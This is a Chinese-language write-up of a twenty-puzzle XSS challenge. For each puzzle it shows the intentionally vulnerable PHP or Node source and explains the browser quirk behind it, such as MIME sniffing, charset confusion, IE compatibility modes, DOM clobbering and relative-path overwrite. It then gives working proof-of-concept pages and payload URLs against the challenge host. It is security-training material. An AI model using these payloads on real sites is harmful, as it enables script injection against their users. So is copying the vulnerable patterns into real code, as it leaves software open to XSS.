膜M師傅!!!
挑戰說明地址:https://xianzhi.aliyun.com/forum/read/1990.html
Writeup已投稿到先知:https://mp.weixin.qq.com/s/d_UCJusUdWCRTo3Vutsk_A
源碼下載: http://t.cn/RNG8tZA
0. 說明
玩了挺久的一個挑戰,整個過程中被虐到變形,感謝M師傅的小課堂,學習到很多新姿勢.
Writeup中的ref為M師傅出題的參考鏈接
M師傅語錄:
題目很多圍繞着security header來出題,希望開發者重視這些問題,在防御上,正確的設置下面的值,是能夠避免很多問題.
content-type、x-xss-protection、x-frame-options、x-content-type-options
挑戰地址:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/
題目要求:
所有XSS題目均可以通過讓受害者訪問特定的鏈接或頁面的方式在受害者的瀏覽器&當前域下執行JavaScript。
有些題目可能需要在特定的瀏覽器下完成。瀏覽器版本以Chrome60,Firefox55,Safari10,IE11,Edge40或更新版本為准。
把可以攻擊其他用戶的有效POC發送到QQ:1507203677或QQ:794450497,POC通過驗證后我會把你的id添加到解題成功者的列表里。Have fun!
XSS#01. 文件上傳 (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#02. getallheaders() (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#03. json (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#04. referrer (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#05. 跳轉 (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#06. 強制下載 (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#07. text/plain (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#08. 標簽 (添加時間:2017-08-15)---->查看源碼---->點我看提示
XSS#09. plaintext (添加時間:2017-08-16)---->查看源碼---->點我看提示
XSS#10. MVM (添加時間:2017-08-16)---->查看源碼---->點我看提示
XSS#11. HOST (添加時間:2017-08-17)->查看源碼---->點我看提示
XSS#12. preview (添加時間:2017-08-17)---->查看源碼---->點我看提示
XSS#13. REQUEST_URI (添加時間:2017-08-17)---->查看源碼---->點我看提示
XSS#14. HIDDEN (添加時間:2017-08-18)---->查看源碼---->點我看提示
XSS#15. Frame Buster (添加時間:2017-08-18)---->查看源碼---->點我看提示
XSS#16. PHP_SELF (添加時間:2017-08-18)---->查看源碼---->點我看提示
XSS#17. passive element (添加時間:2017-08-23)---->查看源碼---->點我看提示
XSS#18. Graduate (添加時間:2017-08-23)---->查看源碼---->點我看提示
XSS#19. Party (添加時間:2017-08-25)---->查看源碼---->點我看提示
XSS#20. The End (添加時間:2017-08-25)---->查看源碼---->點我看提示
番外篇#01. JQuery (此題屬於番外篇,對排名沒有影響。 添加時間:2017-08-27)---->查看源碼---->點我看提示
1. 文件上傳
<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php
此題xss點是在文件上傳后,頁面會顯示文件名,但是有一個問題就是,如何自動化的利用?
畢竟js上傳文件有跨域問題,那么也就只能利用html表單
通過這樣的思路找到還可以利用html表單上傳文件?
http://blog.bentkowski.info/2015/05/xss-via-file-upload-wwwgooglecom.html
其實文件並沒有上傳,只是利用表單的name,閉合一下后添加了fielname
正常文件上傳:
帶有content-type
偽造文件上傳:
不帶有content-type,但是$_FILES["fileToUpload"]["name"]
還是可以接受到值的
所以可以構造一下Exp:
http://ns1.rootk.pw:8080/xss/wp/1.html
<html>
<body>
<form id="xss" action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss1.php" method="POST" enctype="multipart/form-data">
<textarea type="text" id="vulnerable" value="" /></textarea>
</form>
<script>
var tarfile = "test";
var vuln = document.getElementById('vulnerable');
vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";
vuln.value = (tarfile);
document.getElementById("xss").submit();
</script>
</body>
</html>
當時自己並非用的textarea
標簽,而是input,這個標簽只能用到IE8,之后的版本會對雙引號進行url編碼
ref: http://kuza55.blogspot.hk/2008/02/csrf-ing-file-upload-fields.html
2. getallheaders()
<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER']))
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}
}
?>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php
此題就是會把HTTP所有信息輸出到頁面,但是不能使用Referrer
問題也很明顯,請求這個地址,而且又是能夠利用代碼自動化的添加頭去請求.
這里面特別要注意的是開始的兩個頭
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
也就是瀏覽器會對網頁進行緩存,那么如果第一次我能夠修改http頭然后再進行跨域請求,第二次再請求一次的時候,http的信息還是不會變的,因為直接讀取了本地緩存內容.
所以可以使用Fetch
先請求,在利用iframe框架進行第二請求,另外注意的就是需要通過meta標簽來設置一下referrer,也就是第二次iframe加載的時候是不帶referer的.按道理可以在FF下面也成功,不過好像FF不支持meta這樣禁止referer
Chrome Exp:
http://ns1.rootk.pw:8080/xss/wp/2.php
<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain',
'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
})
});
fetch(request).then(function() {
console.log(1);
});
</script>
</head>
<body>
<iframe src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss2.php"></iframe>
</body>
</html>
ref: https://www.w3.org/TR/cors/#simple-header
3. json
<?php
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3333.php?value=test
這個題目問題在於返回頭是application/json
,又應該如何xss
這里利用了IE一個bug,參考文章:http://www.qingpingshan.com/jb/javascript/184536.html
IE11 Exp:
http://ns1.rootk.pw:8080/xss/wp/3.html
3.html
<meta charset=utf-8>
<iframe id=x src=3.php></iframe>
<script>
x.location.reload();
</script>
3.php
<?php
header("location: http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss3333.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");
?>
修復方案: 加上響應頭,X-Content-Type-Options: nosniff
4. Referer
<?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你來自:".$_SERVER['HTTP_REFERER'];?>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php
輸出點是referer,chrome、firefox會對query進行url編碼,但是IE並不會
參考文章:
http://www.mottoin.com/88317.html
捉到一個M師傅:http://www.hackdig.com/?04/hack-9586.htm
IE11 exp: http://ns1.rootk.pw:8080/xss/wp/4.html?a<img src=1 onerror=alert(document.domain)>
<html>
<body>
<form id="xss"
name="xss"
method="GET"
action="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>
M師傅語錄:
Referrer不會被URL編碼的現象,主要是在Windows7和Windows8.1
Win10的IE11以前也有,不過在打完Anniversary Update補丁之后,在對referrer的處理上做了一些改動。變成了會對referrer進行URL編碼
所以比較通用的辦法是通過flash發送請求,AS代碼如下:
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.navigateToURL;
public class xss_referrer extends Sprite{
public function xss_referrer() {
var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
navigateToURL(url, "_self");
}
}
}
Ref:http://masatokinugawa.l0.cm/2016/10/referrer-xss-win10.html
另外在找資料也看到一些東西,記錄一下
# 會傳送referer
https->https
http->https
http->http
# 不會傳送refer
https->http
5. 跳轉
<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳轉失敗請點我</a>";?>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=http://baidu.com
這個問題主要是想辦法去讓瀏覽器不進行跳轉.
翻到p師傅blog曾經對bottle http注入的一段: https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
這里我使用的是端口小於80,FF就不會進行跳轉
FF exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss5.php?url=http://baidu.com:0/'%3E<img src=1 onerror=alert(document.domain)><a>
ref: http://d.hatena.ne.jp/hasegawayosuke/20161210/p1
6. 強制下載
<?php
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
這個是需要繞過文件下載,在第5題中p師傅的文章里面提到了一個點
為PHP的header函數一旦遇到\0、\r、\n這三個字符,就會拋出一個錯誤,此時Location頭便不會返回,瀏覽器也就不會跳轉了
同理是可以用在文件下載中
FF exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss6.php?url=http://ns1.rootk.pw:8080/xss/wp/6.php&filename=aaa%0a
ref: https://twitter.com/mramydnei/status/782324732897075200
7. text/plain
<?php
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
MIME的題目,返回頭Type為text/plain應該如何繞過
找到一個近期公布的IE 0day
https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
利用的是email文件,里面的內容會被解析html,這里可以利用iframe來加載目標地址,這樣內容就會被解析啦。
IE exp:
http://ns1.rootk.pw:8080/xss/wp/9.eml
9.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
=3Ciframe=20src=3D=27http=3A=2f=2fec2-13-58-146-2.us-east-2.compute.amazonaws.com=2fxss7.php=3Furl=3Dhttp=3A=2f=2fns1.rootk.pw=3A8080=2fxss=2fwp=2f9.txt=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E
防御:這里多虧M師傅的提醒,文章中的X-Content-Type-Options: nosniff
是可以防御的,相反X-Frame-Options: DENY
並不能從根本去解決這個問題,這個只是防御了一種攻擊方式,但是漏洞點卻還在,真是留了一個大坑.
ref: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
8. 標簽
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=utf-8");
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$rule="/<[a-zA-Z]/";
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
$content=stream_get_contents($stream);
if(preg_match($rule,$content))
{
echo "XSS Detected!";
}
else
{
echo $content;
}
}
else
{
echo "Bad URL!";
}
?>
此題想考察的是<
后面還可以存在非字母形式的,空格等一些空白字符當然是不行的.
https://dev.w3.org/html5/spec-LC/parsing.html
A sequence of bytes starting with: 0x3C 0x21 (ASCII '<!')
A sequence of bytes starting with: 0x3C 0x2F (ASCII '</')
A sequence of bytes starting with: 0x3C 0x3F (ASCII '<?')
可以看到還能以這些作為開頭,在IE9、10里面有一個vector可以無交互執行js
8.txt
<% contenteditable onresize=alert(document.domain)>
現在問題就是IE11這個是無法觸發的,但是可以通過x-ua-compatible
設置文檔兼容性,讓它也能夠兼容IE9、10的內容
即便iframe內頁面和父窗口即便不同域,iframe內頁面也會繼承父窗口的兼容模式,所以IE的一些老技巧、特性可以通過此方法去復活它.
IE11 exp:
http://ns1.rootk.pw:8080/xss/wp/8.html
8.html
<meta http-equiv=x-ua-compatible content=IE=9>
<iframe id=x src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss8.php?url=http://ns1.rootk.pw:8080/xss/wp/8.txt"></iframe>
9. plaintext
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=test
代碼簡單,但是絕對夠爽的一道題目,就是如何逃逸plaintext
這個標簽
我們有時候在使用瀏覽器的時候,也會遇到編碼不同導致亂碼問題,這個問題主要在於服務端和客戶端之間的字符集存在差異導致的.
關於這個也找到一篇文章:https://www.ibm.com/developerworks/cn/web/wa-lo-ecoding-response-problem/index.html
上面的由於兩端的差別導致的亂碼,從xss角度出發,我們也就只能分析客戶端
所以問題來了:http的響應頭的編碼、頁面的meta等都可以設置頭的東西,那么具體是什么時候具體對應的會起作用?
先來了解一下瀏覽器的一些解析過程.
https://dev.w3.org/html5/spec-LC/parsing.html
第一個是ua里面已經確認指明了才會選擇
第二個是http響應頭大編碼設置,也就是Content-Type
,當它設置了charset
並且支持這個charset
,也就是不為空並且字符集是存在的,題目的編碼是不存在的編碼GB3212
,所以符合
第三個就是如果meta標簽設置編碼是在html前1024個字節的時候,瀏覽器會根據這個編碼去解析,這個是瀏覽器直接解析,完全是不受plaintext
影響
所以第一步就是利用meta來改變頁面的字符集.
第二步,需要做的就是去利用字符集之間的差異,尋找異類的字符集,
我們平常見到<
的編碼是\x3C
,但是這個是UTF-8的,在其他編碼的字符集中就有可能不是這個結果了,這里使用的是cp1025
編碼
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">
可以看到plaintext
已經不見了
第三步,確認異類字符集的編碼表,這樣就可以構造好自己的payload
這里需要跑一下來確認.
fuzz.php
<meta http-equiv="content-Type" content="text/html; charset=gb3212">
<?php
if(!ini_get('safe_mode')){
set_time_limit(0);
}
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<html>
<head></head>
<body></body>
<script>
function hex_pad(int_){
hex_ = int_.toString(16);
if(hex_.length==1){
hex_ = '0'+hex_;
}
return hex_;
}
for(var i=0;i<255;i++){
var id = 'id_'+hex_pad(i);
var divO = document.createElement('div');
divO.id = id;
divO.innerHTML = hex_pad(i);
document.body.appendChild(divO);
var iframea = document.createElement('iframe');
iframea.src= 'http://a.com/test/xss/xsschange/9/game.php?text='+"%"+hex_pad(i);
document.getElementById(id).appendChild(iframea);
}
</script>
</html>
其中還有一個game.php作為接口,利用iframe去得到字符集
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=cp1025");
?>
<?php echo @$_GET["text"];?>
這里就表明了,比如想要得到字符m
,那就輸入url編碼%94
附上一點cp1025
的編碼
< %4c
> %6e
/ %61
( %4d
) %5d
= %7e
; %5e
' %7d
IE payload:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e
PS: 關於meta
的一些使用語法可以看看這.
https://www.w3.org/TR/html401/struct/global.html#h-7.4.4
ref: https://github.com/cure53/XSSChallengeWiki/wiki/Puzzle-3-on-kcal.pw
10. MVM
<html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php?username=hiphopman
對框架不是很熟悉,提示是Client Side Template Injection,翻M師傅推特找到一個利用
FF && Chrome Exp
{{[].pop.constructor('alert()')()}}
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss10.php?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D
ref: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
11. HOST
"use strict";
var http = require('http');
(function(){
http.createServer(function (req, res) {
res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );
}).listen(80);
console.log( "Running server on port 80" );
})();
http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com/
HOST頭注入,這里又需要用到IE下一個奇怪的姿勢.
重點部分:
所以可以構造
11.php
<?php
header('HTTP/1.1 307 Redirect');
header('Location: '.$_GET['u']);
IE11 exp
http://ns1.rootk.pw:8080/xss/wp/11.php?u=http://ec2-52-15-146-21.us-east-2.compute.amazonaws.com%252f<%252ftitle><script>alert(document.domain)<%252fscript><!--.baidu.com
這里最新的IE11是失效的,ie11.483.15063.0失敗,本地成功的IE版本為 ie11.0.9600.17843
ref: http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html
12. preview
<?php
# the request
$ch = curl_init($_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
# get the content type
$mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-compressed","application/x-zip-compressed","audio/basic","audio/wav","audio/x-aiff","video/avi","video/mpeg","video/x-msvideo","image/png","image/jpeg","image/gif");
if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
//header("X-Content-Type-Options: nosniff");
echo curl_exec($ch);
}
# output
// text/html; charset=ISO-8859-1
?>
先來了解一下IE的奇怪MIME判斷。
https://blog.fox-it.com/2012/05/08/mime-sniffing-feature-or-vulnerability/
因為有些服務器指定的不是一個正確的Content-Type頭,所以IE為了兼容這些文件類型,它會將文件的前256個字節與已知文件頭進行比較,然后得到一個結果...也就是<html>
作為開頭的話,會被認為是text/html
所以可以構造一下
IE exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss12.php?url=http://ns1.rootk.pw:8080/xss/wp/12.php
12.php
<?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>
ref: https://xianzhi.aliyun.com/forum/read/224.html
13. REQUEST_URI
<?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php
REQUEST_URI請求的xss,在IE下,加一次跳轉就不會進行編碼
IE exp:
http://ns1.rootk.pw:8080/xss/wp/13.php
13.php
<?php
header("Location: http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php/<svg/onload=alert(document.domain)>");
ref: https://speakerdeck.com/masatokinugawa/xss-attacks-through-path
14. HIDDEN
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=233
很久經典的一個問題,模糊記得xss書上有講這個問題,因為標簽里面有hidden屬性的存在,導致大部分事件沒法直接觸發
所以一般分為兩點,輸出點是在hidden屬性之前還是之后(不能閉合掉input的情況下)
- 之前則可以覆蓋type為其他的,
<input value="a" src=1 onerror=alert(1) type="image" type="hidden">
- 之后的話,只能通過間接的方式來觸發,比如大家熟知的
' accesskey='x' onclick='alert(/1/)
,然后按shift+alt+x觸發xss,但是還可以這樣操作,無交互的觸發xss,相比起來已經是無限制了,'style='behavior:url(?)'onreadystatechange='alert(1)
參考文章:http://masatokinugawa.l0.cm/2016/04/hidden-input-xss.html
IE exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=%27style=%27behavior:url(?)%27onreadystatechange=%27alert(1)
15. Frame Buster
<?php
header("X-XSS-Protection: 0");
$page=strtolower($_GET["page"]);
$regex="/on([a-zA-Z])+/i";
$page=str_replace("style","_",$page);
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<form action='xss15.php?page=<?php
if(preg_match($regex,$page))
{
echo "XSS Detected!";
}
else
{
echo htmlspecialchars($page);
}
?>'></form>
<script>
if(top!=self){
location=self.location
}
</script>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss15.php?page=1
很有意思的一個題目,一種防御iframe框架加載的方式,如果用框架加載的話,會讓頁面一直刷新....此題提示是DOM Clobbering
什么又是DOM Clobbering,在IE8下,abc.def
將會是123
<form id=abc def=123></form>
<script>
alert(abc.def)
</script>
那么題目中的self.location
也就可以通過這樣的方式去覆蓋值.
IE exp:
http://ns1.rootk.pw:8080/xss/wp/15.html
<meta http-equiv=x-ua-compatible content=IE=8>
<iframe src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss15.php?page=1'name=self location='javascript%3Aalert(document.domain)"></iframe>
當然還是需要注意調節兼容性,關於兼容性,可以看第八題的writeup
更多關於DOM Clobbering的文章:
ref: http://www.thespanner.co.uk/2013/05/16/dom-clobbering/
https://www.slideshare.net/x00mario/in-the-dom-no-one-will-hear-you-scream
16. PHP_SELF
<html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","<",$_SERVER['PHP_SELF']);
$output=str_replace(">",">",$output);
echo $output;
?>
</h1>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php
一個比較明顯的RPO漏洞,但是國內對這方面介紹比較少
http://www.mbsd.jp/Whitepaper/rpo.pdf
這個文檔對RPO講的比較清楚
總結起來就是因為php_self的存在,下面這個css會根據鏈接情況來加載
<link href="styles.css" rel="stylesheet" type="text/css" />
當我訪問ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php
的時候,web相對路徑就是/
,這時候加載的css就是ec2-13-58-146-2.us-east-2.compute.amazonaws.com/styles.css
但是當我訪問ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/
,也就是{}*{background-color: red}*{}
,web的相對路徑就是/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/
,這時候加載的css內容是http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/%7B%7D*%7Bbackground-color:%20red%7D*%7B%7D/styles.css
css的解析並沒有像html那么嚴格,所以你可以看到網頁將會被渲染為紅色。
高潮部分來了,現在想辦法就是利用css去加載js
http://blog.innerht.ml/cascading-style-scripting/
可以利用sct文件,但是缺陷就是sct必須要是在同域下.
可以發現題目還有一個xss.png....內容如下
<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>
IE exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/{}*{behavior:url(http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss.png)}*{}/
當然css觸發xss的,還可以用expression
ref: http://www.thespanner.co.uk/2014/03/21/rpo/
17. passive element
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
?>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=data
輸出點在div里面,這種被動元素如何去觸發xss?
html5sec總結:https://html5sec.org/#145
所以可以被動一點,需要用戶點擊一下之類操作去觸發xss
IE exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=a%27%20style=%27-webkit-user-modify:read-write%27%20onfocus=%27alert(1)%27%20id=%27xss
但是M師傅提供了一個比較通用而且無需用戶交互的poc
除FF以外的瀏覽器 exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss17.php?content=%27onfocus=%27alert(1)%27%20contenteditable%20tabindex=%270%27%20id=%27xss#xss
ref: https://github.com/cure53/XSSChallengeWiki/wiki/Mini-Puzzle-1-on-kcal.pw
18. Graduate
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 1");
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<textarea>
<?php
//Fix#001
$input=str_replace("<script>","",$_GET["input"]);
//Fix#002
$input=str_replace("/","\/",$input);
echo $input;
?>
</textarea>
</body>
</html>
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php?input=plaintext
也是炒雞好的題目,輸入點在textarea
里面,在不能閉合的情況下搞事情
有一個細節就是,開啟了xss保護
在IE下,這個保護是他會把認為有害的字符過濾掉
IE exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php?input=%3Ctextarea%3E%3Cimg%20src=1%20on%3Cscript%3Eerror=alert(document.domain)%3E
19. Party(未做出)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function checkCookie() {
var user=getCookie("username");
if (user != "") {
document.write("歡迎, " + unescape(user));
} else {
alert("請登陸")
}
}
</script>
</head>
<body onload="checkCookie()">
<?php echo '<img name="avatar" src="'.str_replace('"',""",$_GET["link"]).'" width="30" height="40">';?>
</body>
</html>
FF exp:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss19.php?link=data:image%2fsvg%2bxml,%3Cmeta%20xmlns=%27http://www.w3.org/1999/xhtml%27%20http-equiv=%27Set-Cookie%27%20content=%27username=%25%32%35%33%43script%25%32%35%33%65alert%25%32%35%32%381%25%32%35%32%39%25%32%35%33%43%25%32%35%32%66script%25%32%35%33%65%27%20/%3E
ref: http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html
20. The End(未做出)
<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$hookid=str_replace("=","",htmlspecialchars($_GET["hookid"]));
$hookid=str_replace(")","",$hookid);
